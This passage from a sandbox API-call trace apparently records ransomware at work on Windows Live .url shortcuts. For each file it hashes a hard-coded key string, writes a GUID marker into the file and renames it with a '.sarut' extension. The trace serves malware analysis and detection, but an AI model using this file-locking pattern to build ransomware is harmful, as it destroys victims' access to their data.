nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0270.857] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0270.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.858] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.858] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.861] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.861] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.862] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.862] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.862] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.862] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.862] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.863] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.863] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.864] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.864] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.864] GetLastError () returned 0x0 [0270.864] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.864] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.864] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.864] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.864] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.864] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.864] CloseHandle (hObject=0x5c4) returned 1 [0270.868] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.sarut")) returned 1 [0270.869] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.869] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.870] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30567e0 | out: hHeap=0x640000) returned 1 [0270.870] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0270.870] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0270.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.871] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.871] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.874] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.874] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.875] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.875] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.875] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.875] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.875] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.876] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.876] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.876] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.876] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.876] GetLastError () returned 0x0 [0270.876] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.876] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.876] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.876] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.877] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.877] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.877] CloseHandle (hObject=0x5c4) returned 1 [0270.880] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.sarut")) returned 1 [0270.886] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.886] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30567e0 | out: hHeap=0x640000) returned 1 [0270.887] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0270.887] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0270.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.888] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.888] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.890] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.890] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.891] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.891] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.891] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.891] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.891] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.893] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.893] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.893] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.893] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.893] GetLastError () returned 0x0 [0270.893] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.893] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.893] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.893] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.893] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.893] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.894] CloseHandle (hObject=0x5c4) returned 1 [0270.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.sarut")) returned 1 [0270.897] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.897] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.898] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30567e0 | out: hHeap=0x640000) returned 1 [0270.898] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0270.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0270.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.904] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.904] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.907] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.907] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.908] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.908] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.908] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.908] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.908] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.909] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.909] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.909] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.909] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.909] GetLastError () returned 0x0 [0270.909] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.909] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.909] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.910] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.910] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.910] CloseHandle (hObject=0x5c4) returned 1 [0270.912] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.sarut")) returned 1 [0270.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.912] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30567e0 | out: hHeap=0x640000) returned 1 [0270.913] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0270.914] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0270.914] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.914] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: 